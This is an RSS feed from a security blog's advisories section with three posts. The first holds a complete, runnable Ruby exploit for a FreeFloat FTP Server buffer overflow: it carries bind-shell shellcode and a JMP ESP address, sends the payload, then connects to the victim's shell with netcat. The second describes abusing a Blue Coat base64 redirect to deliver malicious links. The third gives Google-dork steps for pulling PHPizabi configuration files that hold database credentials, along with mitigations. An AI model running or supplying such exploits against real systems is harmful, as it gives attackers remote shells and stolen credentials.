<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digital Offensive &#187; Security Advisories</title>
	<atom:link href="http://www.digitaloffensive.com/category/advisories/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.digitaloffensive.com</link>
	<description>Take an offensive approach to Security know what your foes know!</description>
	<lastBuildDate>Fri, 27 Jan 2012 18:53:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ruby exploit for FreeFloat FTP Server ACCL Buffer OverFlow and remote Shell</title>
		<link>http://www.digitaloffensive.com/2011/07/ruby-exploit-for-freefloat-ftp-server-accl-buffer-overflow-and-remote-shell/</link>
		<comments>http://www.digitaloffensive.com/2011/07/ruby-exploit-for-freefloat-ftp-server-accl-buffer-overflow-and-remote-shell/#comments</comments>
		<pubDate>Wed, 20 Jul 2011 18:53:14 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Security Advisories]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=352</guid>
		<description><![CDATA[Ruby exploit for FreeFloat FTP Server ACCL Buffer OverFlow and remote Shell The original vulnerability was published here: http://www.exploit-db.com/exploits/17550. The FreeFloat FTP server is a free standing executable FTP server requiring no installation on a computer system. The application itself is riddled with buffer overflows and is extremely simple to crash. Though the trick is [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Ruby exploit for FreeFloat FTP Server ACCL Buffer OverFlow and remote Shell</strong></p>
<p>The original vulnerability was published here: <a href="http://www.exploit-db.com/exploits/17550">http://www.exploit-db.com/exploits/17550</a>. The FreeFloat FTP server is a free standing executable FTP server requiring no installation on a computer system. The application itself is riddled with buffer overflows and is extremely simple to crash. Though the trick is not to make it to crash but to gain shell access, Mortis original published the working exploit in python. What we have done here is converted it into a ruby exploit. Why? Simply cause while learning ruby I took it as a challenge to test what I have learned.</p>
<p><strong>Exploiting the vulnerability</strong></p>
<p>To test the actual exploit download the vulnerable software and install it on a Windows XP SP3 machine: <code><a href="http://www.freefloat.com/software/freefloatftpserver.zip">http://www.freefloat.com/software/freefloatftpserver.zip</a>. Next on a Linux machine copy the ruby code provided and save it to a file called ftpexploit.rb and chmod it to 777. To run the exploit type in ./ftpexploit.rb and enter the victims IP. If the exploit is successful you will get a windows shell.</code></p>
<p><strong><code>The Exploit</code></strong></p>
<p>#!/usr/bin/ruby</p>
<p><span id="more-352"></span></p>
<p>#</p>
<p>#FreeLoat FTP SERVER ACCL BUFFER OVERFlow and remote shell Exploit</p>
<p>#Original Exploit by: Mortis as found on exploit-db.com</p>
<p>#Code redesigned into ruby by genxweb from digitaloffensive.com</p>
<p>###############################################################</p>
<p>###############################################################</p>
<p>require &#8216;socket&#8217;</p>
<p>puts &#8220;Enter the IP to Exploit: &#8221;</p>
<p>h0st = gets</p>
<p>victim = h0st.chomp!</p>
<p>#open listener shell on port 4444</p>
<p>sc = &#8220;\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2&#8243;</p>
<p>padding = &#8220;A&#8221;*246</p>
<p>sled = &#8220;\x90&#8243;*20</p>
<p>jmpesp = &#8220;\x13\x44\x87\x7c&#8221;</p>
<p>sploit = &#8220;#{padding}#{jmpesp}#{sled}#{sc}&#8221;</p>
<p>s = TCPsocket.new(&#8220;#{victim}&#8221;,21)</p>
<p>s.recv(1024)</p>
<p>s.puts(&#8220;USER test\r\n&#8221;)</p>
<p>s.recv(1024)</p>
<p>s.puts(&#8220;PASS test\r\n&#8221;)</p>
<p>s.recv(1024)</p>
<p>s.puts(&#8220;ACCL &#8220;+sploit+&#8221;\r\n&#8221;)</p>
<p>s.close()</p>
<p>puts &#8220;#### IF EXPLOIT IS SCUCCESSFUL SHELL WILL OPEN ####&#8221;</p>
<p>puts &#8220;###################################################&#8221;</p>
<p>system(&#8220;nc #{victim} 4444&#8243;)</p>
<p><strong>How the code works</strong></p>
<p>First we ask the hacker for the victims IP address. Once we have that we remove the trailing new line statement using the chomp command. Now that we have the victims IP we build the packet that will be sent over the socket we open.</p>
<p>The first part of the packet is the padding and sled. This gets us to the point where we can overwrite the memory with our shellcode. The jmpesp variable is the place in memory in big endian format to enter our shellcode. The shellcode is a generic shellcode to open port 4444 on the victim’s machine with a windows command line access.</p>
<p>Once the packet is built we open a connection to the victim on port 21, the standard ftp port. Once the connection is built we send the user: test and password: test. After that we then send the ACCL and exploit packet. If this is successful a shell will spawn on the victims box.</p>
<p>Finally the exploit will then use netcat (nc) to connect to the victims machine so you can interact with the victim.</p>
<p>&nbsp;</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.digitaloffensive.com%2F2011%2F07%2Fruby-exploit-for-freefloat-ftp-server-accl-buffer-overflow-and-remote-shell%2F&amp;title=Ruby%20exploit%20for%20FreeFloat%20FTP%20Server%20ACCL%20Buffer%20OverFlow%20and%20remote%20Shell" id="wpa2a_2"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2011/07/ruby-exploit-for-freefloat-ftp-server-accl-buffer-overflow-and-remote-shell/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Blue Coat URL Redirection Vulnerability</title>
		<link>http://www.digitaloffensive.com/2010/04/blue-coat-url-redirection-vulnerability/</link>
		<comments>http://www.digitaloffensive.com/2010/04/blue-coat-url-redirection-vulnerability/#comments</comments>
		<pubDate>Fri, 02 Apr 2010 18:09:34 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Security Advisories]]></category>

		<guid isPermaLink="false">http://www.digitaloffensive.com/?p=193</guid>
		<description><![CDATA[Blue Coat URL Redirection Vulnerability The Blue Coat web filter is one of the industry’s leading web filtering solutions. It provides the organization the ability to filter where their employee’s, vendors, customers or guests can go online. The Blue Coat Web filter has an issue where it will display a base64 encoded URL in the [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Blue Coat URL Redirection Vulnerability</strong></p>
<p style="text-align: left;">The Blue Coat web filter is one of the industry’s leading web filtering solutions. It provides the organization the ability to filter where their employee’s, vendors, customers or guests can go online.</p>
<p style="text-align: left;">The Blue Coat Web filter has an issue where it will display a base64 encoded URL in the following format http://blue_coat_name/?cfru=aHR0cDovL3d3dy5nb29nbGUuY29tLw== when it has an error.</p>
<p style="text-align: left;"><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/04/bluecoat.jpg" target="_blank"><img class="aligncenter size-medium wp-image-194" title="bluecoat" src="http://www.digitaloffensive.com/wp-content/uploads/2010/04/bluecoat-300x121.jpg" alt="" width="300" height="121" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;"><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/04/bluecoat.jpg" target="_blank"><span id="more-193"></span></a></p>
<p style="text-align: left;">This URL is displayed in the end users browser usually with a message relating to the issue. The encoded URL is the URL that the end user was trying to get to before the error occurred. In the URL above I was trying to access www.google.com.  To verify that we can use any base64 decoder, for this example I used an online version found at <a href="http://base64-encoder-online.waraxe.us/" target="_blank">http://base64-encoder-online.waraxe.us/</a> .</p>
<p style="text-align: left;"><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/04/encoded.jpg"><img class="aligncenter size-medium wp-image-195" title="encoded" src="http://www.digitaloffensive.com/wp-content/uploads/2010/04/encoded-300x224.jpg" alt="" width="300" height="224" /></a><a href="http://www.digitaloffensive.com/wp-content/uploads/2010/04/decoded.jpg"><img class="aligncenter size-medium wp-image-196" title="decoded" src="http://www.digitaloffensive.com/wp-content/uploads/2010/04/decoded-300x224.jpg" alt="" width="300" height="224" /></a></p>
<p style="text-align: left;">All a malicious user would need to carry out an attack would be remote site that is hosting a malicious payload or an attack platform like Metasploit or Core Impact to host the malicious file. The attacker would than use a base64 encoder to encrypt the malicious URL and send the problematic link to the system administrator or any other end user. This attack could lead to a full system compromise depending on the payload and the rights of the user clicking the URL.</p>
<p>The limitation to this vulnerability is that DNS name and or IP of the Blue Coat web appliance will differ for the majority of companies. Though I bet there are at least a few companies out there that have named their Blue Coat web filter “proxy” or “webproxy”. By posting several of these generic names on the internet it may also be able to compromise other remote machines as well.</p>
<p>The question that I have to Blue Coat is why you would provide such functionality. Why don’t  just display the URL in clear text.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.digitaloffensive.com%2F2010%2F04%2Fblue-coat-url-redirection-vulnerability%2F&amp;title=Blue%20Coat%20URL%20Redirection%20Vulnerability" id="wpa2a_4"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2010/04/blue-coat-url-redirection-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHPizabi: Possible vulnerability in information disclosure and database integrity</title>
		<link>http://www.digitaloffensive.com/2009/09/phpizabi-possible-vulnerability-in-information-disclosure-and-database-integrity/</link>
		<comments>http://www.digitaloffensive.com/2009/09/phpizabi-possible-vulnerability-in-information-disclosure-and-database-integrity/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 13:39:56 +0000</pubDate>
		<dc:creator>Michael</dc:creator>
				<category><![CDATA[Security Advisories]]></category>

		<guid isPermaLink="false">http://digitaloffensive.com/?p=7</guid>
		<description><![CDATA[PHPizabi: Possible vulnerability in information disclosure and database integrity Vendor: Notified. I notified the vendor of this issue over three months ago and have not heard back from them regarding this threat. According to their website there has been no patches or core releases released since the ones I have listed below. Version: PHPizabi 0.848b [...]]]></description>
			<content:encoded><![CDATA[<p><strong>PHPizabi: Possible vulnerability in information disclosure and database integrity</strong></p>
<p><strong>Vendor:</strong> Notified. I notified the vendor of this issue over three months ago and have not heard back from them regarding this threat. According to their website there has been no patches or core releases released since the ones I have listed below.</p>
<p><strong>Version:</strong> PHPizabi 0.848b C1 HFP1 (Alicia)</p>
<p><strong>Hot fixes: </strong> 848 Core HotFix Pack 3 0848bC1_HFP3.zip and below</p>
<p><strong>Product Info:</strong></p>
<p>“More than a simple script, dating script, or even just a matchmaker; PHPizabi is a feature rich social networking platform that integrates everything you need to jumpstart your community, dating site, or social networking portal right out of the box. PHPizabi is one of the most reliable, safe, and solid platforms on the market, offering your users features they could only dream of.”</p>
<p><strong>Vulnerability:</strong></p>
<p>In the default configuration and installation of this script the “system” dir is left open allowing indexing. When I discovered that the system dir was open I was able to download the configuration file that contained sensitive information about the site such as the database connection information including username and password.</p>
<p><strong>To exploit</strong></p>
<p>1)      Google: “Powered by PHPizabi”</p>
<p>2)      http://sitename.com/system/</p>
<p>3)      Download file open in editor.</p>
<p>Temp solutions:</p>
<p>1)      Add a .htacess to the system dir that says</p>
<p>a.       Options –Indexes</p>
<p>b.      Note this will not stop the attacker from using wget and http://sitename.com/system/config.inc.php from retrieving the file.</p>
<p>2)      Make sure that the database can only be accessed local.</p>
<p>a.       The host I had permission to test this on had the database open to remote connections.</p>
<p>Vendor should have the file die if trying to access it directly like they do if you try to access a file in the admin directory directly.</p>
<p>Tested on: This has been tested against my site www.xxxxxxxx.com I have done some edits to the code to protect my site and contacted the host about the database settings. Site address has been “X” out to protect it from people trying the attack against it.</p>
<p>Vulnerability Classification: Possible vulnerability in information disclosure and database integrity.</p>
<p>Thanks</p>
<p>Michael LaSalvia</p>
<p>www.digitaloffensive.com</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.digitaloffensive.com%2F2009%2F09%2Fphpizabi-possible-vulnerability-in-information-disclosure-and-database-integrity%2F&amp;title=PHPizabi%3A%20Possible%20vulnerability%20in%20information%20disclosure%20and%20database%20integrity" id="wpa2a_6"><img src="http://www.digitaloffensive.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.digitaloffensive.com/2009/09/phpizabi-possible-vulnerability-in-information-disclosure-and-database-integrity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

